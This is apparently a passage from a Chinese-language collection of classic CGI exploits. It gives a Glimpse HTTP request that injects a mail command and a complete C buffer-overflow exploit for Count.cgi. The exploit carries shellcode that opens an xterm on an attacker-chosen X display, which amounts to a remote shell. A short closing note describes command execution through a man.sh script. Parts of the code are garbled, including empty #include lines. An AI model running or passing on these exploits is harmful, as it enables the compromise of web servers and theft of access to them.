CGI漏洞精典汇总

二十一.Vulnerability in Glimpse HTTP
telnet target.machine.com 80
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor\@dhp.com\MD;echo
HTTP/1.0

二十二.Count.cgi
该程序只对Count.cgi 24以下版本有效：
/*### count.c ########################################################*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(char *,long, char *);
/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
int main (int argc, char *argv[]){
char *shellcode = NULL;
int cnt,ver,retcount, dispnum,dotquads[4],offset;
unsigned long sp;
char dispname[255];
char *host;
offset = sp = cnt = ver = 0;
fprintf(stderr,"\t%s - Gus\n",argv[0]);
if (argc<3) usage(argv[0]);
while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
switch(cnt){
case 'h':
host = optarg;
break;
case 'd':
{
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
&dotquads[0],
&dotquads[1],
&dotquads[2],
&dotquads[3], &dispnum);
if (retcount != 5) usage(argv[0]);
sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
}
break;
case 'v':
ver = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
sp = offset + getsp(ver);
(void)doit(host,sp,shellcode);
exit(0);
}
unsigned long getsp(int ver) {
/* Get the stack pointer we should be using. YMMV. If it does not work,
try using -o X, where x is between -1500 and 1500 */
unsigned long sp=0;
if (ver == 15) sp = 0xbfffea50;
if (ver == 20) sp = 0xbfffea50;
if (ver == 22) sp = 0xbfffeab4;
if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
if (sp == 0) {
fprintf(stderr,"I don't have an sp for that version try using the -o option.
\n");
fprintf(stderr,"Versions above 24 are patched for this bug.\n");
exit(1);
} else {
return sp;
}
}
int usage (char *name) {
fprintf(stderr,"\tUsage:%s -h host -d -v [-o ]\n
",name);
fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);
exit(1);
}
int openhost (char *host, int port) {
int sock;
struct hostent *he;
struct sockaddr_in sa;
he = gethostbyname(host);
if (he == NULL) {
perror("Bad hostname\n");
exit(-1);
}
memcpy(&sa.sin_addr, he->h_addr, he->h_length);
sa.sin_port=htons(port);
sa.sin_family=AF_INET;
sock=socket(AF_INET,SOCK_STREAM,0);
if (sock < 0) {
perror ("cannot open socket");
exit(-1);
}
bzero(&sa.sin_zero,sizeof (sa.sin_zero));
if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
perror("cannot connect to host");
exit(-1);
}
return(sock);
}
void doit (char *host,long sp, char *shellcode) {
int cnt,sock;
char qs[7000];
int bufsize = 16;
char buf[bufsize];
char chain[] = "user=a";
bzero(buf);
for(cnt=0;cnt<4104;cnt+=4) {
qs[cnt+0] = sp & 0x000000ff;
qs[cnt+1] = (sp & 0x0000ff00) >> 8;
qs[cnt+2] = (sp & 0x00ff0000) >> 16;
qs[cnt+3] = (sp & 0xff000000) >> 24;
}
strcpy(qs,chain);
qs[strlen(chain)]=0x90;
qs[4104]= sp&0x000000ff;
qs[4105]=(sp&0x0000ff00)>>8;
qs[4106]=(sp&0x00ff0000)>>16;
qs[4107]=(sp&0xff000000)>>24;
qs[4108]= sp&0x000000ff;
qs[4109]=(sp&0x0000ff00)>>8;
qs[4110]=(sp&0x00ff0000)>>16;
qs[4111]=(sp&0xff000000)>>24;
qs[4112]= sp&0x000000ff;
qs[4113]=(sp&0x0000ff00)>>8;
qs[4114]=(sp&0x00ff0000)>>16;
qs[4115]=(sp&0xff000000)>>24;
qs[4116]= sp&0x000000ff;
qs[4117]=(sp&0x0000ff00)>>8;
qs[4118]=(sp&0x00ff0000)>>16;
qs[4119]=(sp&0xff000000)>>24;
qs[4120]= sp&0x000000ff;
qs[4121]=(sp&0x0000ff00)>>8;
qs[4122]=(sp&0x00ff0000)>>16;
qs[4123]=(sp&0xff000000)>>24;
qs[4124]= sp&0x000000ff;
qs[4125]=(sp&0x0000ff00)>>8;
qs[4126]=(sp&0x00ff0000)>>16;
qs[4127]=(sp&0xff000000)>>24;
qs[4128]= sp&0x000000ff;
qs[4129]=(sp&0x0000ff00)>>8;
qs[4130]=(sp&0x00ff0000)>>16;
qs[4131]=(sp&0xff000000)>>24;
strcpy((char*)&qs[4132],shellcode);
sock = openhost(host,80);
write(sock,"GET /cgi-bin/Count.cgi?",23);
write(sock,qs,strlen(qs));
write(sock," HTTP/1.0\n",10);
write(sock,"User-Agent: ",12);
write(sock,qs,strlen(qs));
write(sock,"\n\n",2);
sleep(1);
/* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); *
/
/*
setenv("HTTP_USER_AGENT",qs,1);
setenv("QUERY_STRING",qs,1);
system("./Count.cgi");
*/
}
用Count.cgi看图片
includes source code for very nice cgi script named man.sh to feed
man pages to a web browser. The hypertext links to other man
pages are an especially attractive feature.
Unfortunately, this script is vulnerable to attack. Essentially,
anyone who can execute the cgi thru their web browser can run any
system commands with the user id of the web server and obtain the
output from them in a web page.

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